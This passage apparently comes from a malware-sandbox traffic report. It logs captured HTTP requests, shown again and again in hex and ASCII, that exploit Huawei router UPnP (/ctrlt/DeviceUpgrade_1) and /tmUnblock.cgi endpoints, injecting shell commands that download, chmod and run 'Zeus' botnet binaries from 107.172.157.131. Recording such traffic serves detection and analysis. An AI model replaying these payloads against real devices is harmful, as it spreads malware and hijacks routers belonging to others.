50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
